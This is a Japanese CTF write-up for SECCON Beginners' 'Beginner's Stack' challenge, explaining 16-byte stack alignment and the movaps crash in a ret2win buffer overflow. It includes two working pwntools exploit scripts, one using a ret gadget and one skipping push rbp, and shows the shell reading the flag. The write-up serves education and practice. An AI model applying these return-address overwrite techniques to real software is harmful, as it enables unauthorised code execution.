Pwnにおけるスタックのアライメント(2020/05/29)
(2022/1/17)Qiitaからhatenaに移行しました。
Beginner's Stack
Your goal is to call `win` function (located at 0x400861) [ Address ] [ Stack ] +--------------------+ 0x00007ffd3416a8f0 | 0x0000000000000000 | <-- buf +--------------------+ 0x00007ffd3416a8f8 | 0x0000000000000000 | +--------------------+ 0x00007ffd3416a900 | 0x0000000000400ad0 | +--------------------+ 0x00007ffd3416a908 | 0x00007f1ce972d190 | +--------------------+ 0x00007ffd3416a910 | 0x00007ffd3416a920 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd3416a918 | 0x000000000040084e | <-- return address (vuln) +--------------------+ 0x00007ffd3416a920 | 0x0000000000000000 | <-- saved rbp (main) +--------------------+ 0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main) +--------------------+ 0x00007ffd3416a930 | 0x00007f1ce972b620 | +--------------------+ 0x00007ffd3416a938 | 0x00007ffd3416aa18 | +--------------------+ Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA [ Address ] [ Stack ] +--------------------+ 0x00007ffd3416a8f0 | 0x4141414141414141 | <-- buf +--------------------+ 0x00007ffd3416a8f8 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a900 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a908 | 0x4141414141414141 | +--------------------+ 0x00007ffd3416a910 | 0x4141414141414141 | <-- saved rbp (vuln) +--------------------+ 0x00007ffd3416a918 | 0x4141414141414141 | <-- return address (vuln) +--------------------+ 0x00007ffd3416a920 | 0x000000000000000a | <-- saved rbp (main) +--------------------+ 0x00007ffd3416a928 | 0x00007f1ce95200b3 | <-- return address (main) +--------------------+ 0x00007ffd3416a930 | 0x00007f1ce972b620 | +--------------------+ 0x00007ffd3416a938 | 0x00007ffd3416aa18 | +--------------------+ Segmentation fault (コアダンプ)
典型的なスタックオーバーフローです。冒頭に書かれているように、0x400861
にあるwin関数を呼び出せればflagが得られます。入力前後のスタックの状態が図示されており、"vuln"のリターンアドレスが意味のない場所に参照されるとSegmentation faultで落ちます。なので、ダミー40文字+"win"のアドレスを入力することで"vuln"のリターンアドレスを書き換えます。しかし実行すると
$ python2 -c 'print "A" * 40 + "\x61\x08\x40\x00\x00\x00\x00\x00"' | ./chall 〜中略〜 Oops! RSP is misaligned! Some functions such as `system` use `movaps` instructions in libc-2.27 and later. This instruction fails when RSP is not a multiple of 0x10. Find a way to align RSP! You're almost there!
と言われます。RSPがずれているそうです。ここで必要なのがアラインメントです。
スタックのアラインメント
x86-64 モード用の呼び出し規約では,浮動小数点数の受け渡しは XMM0 などのレジスタを用います. メモリと XMM0 系のレジスタ間で値を転送する命令(MOVAPS や MOVAPD など)は,メモリ上の値が 16 バイト境界に配置されていることを要求します. コンパイラは,関数呼び出し時のスタックポインタが 16 バイト整列されていることを前提に,MOVAPS や MOVPAD 命令を発行します. また,他の関数を呼び出すときには必ずスタックポインタが 16 バイト整列するように調整する責任があります. 参照:https://uchan.hateblo.jp/entry/2018/02/16/232029
つまり何が言いたいかというと、コンパイラは関数を呼び出すときにスタックポインタが16(0x10)の倍数のアドレスに調整されているため、Pwnにおいてスタックを書き換えるときも同様に調節する必要があるということです。MOVAPS命令はsystem関数等の動作に影響するため、このままではシェルが起動できません。参照しているuchanさんのブログの"スタックのアライメントの実例"に詳しく書かれています。
ここではBeginner's StackにおけるRSPのアラインを考えていきます。
0000000000400861 <win>: 400861: 55 push rbp 400862: 48 89 e5 mov rbp,rsp 400865: 48 83 ec 10 sub rsp,0x10 400869: 48 89 e0 mov rax,rsp
これはwin関数の頭の部分の処理です。rbpがpushされた後にsub rsp,0x10
されています。(※図のアドレスは適当です)
本来callによってwin関数のリターンアドレスが積まれるはずが、retで呼ばれているため積まれず、rspが8byteずれていることがわかります。これの回避の仕方は以下の2通りです。(※図のアドレスは適当です)
ret gadgetを使う
1つは、適当なret gadgetを挟む方法です。ret gadgetを使ってそろえます。 まずret gadgetを探します。
gdb-peda$ ropgadget ret = 0x400626 popret = 0x400728 addesp_8 = 0x400623
0x400626
にret gadgetがあることがわかりました。retq命令はrspのメモリアドレスの値をripに格納し、rspをインクリメントします。
400626: c3 retq
exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400626) payload += p64(0x400861) conn.sendline(payload) conn.interactive()
Congratulations! $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
push rbpを飛ばす
2つめはpush rbpの後に飛ばす方法です。0x400861
のpush rbpを飛ばすことでリターンアドレス分の8byteをそろえることができます。
push rbpの次からなので、0x400862
をリターンアドレスにします。このときはret gadgetはいりません。exploitコードは以下です。
from pwn import * context(os="linux" , arch="i386") conn = remote('bs.quals.beginners.seccon.jp',9001) payload = "" payload += "A" * 40 payload += p64(0x400862) conn.sendline(payload) conn.interactive()
こちらでも同様にflagがとれました。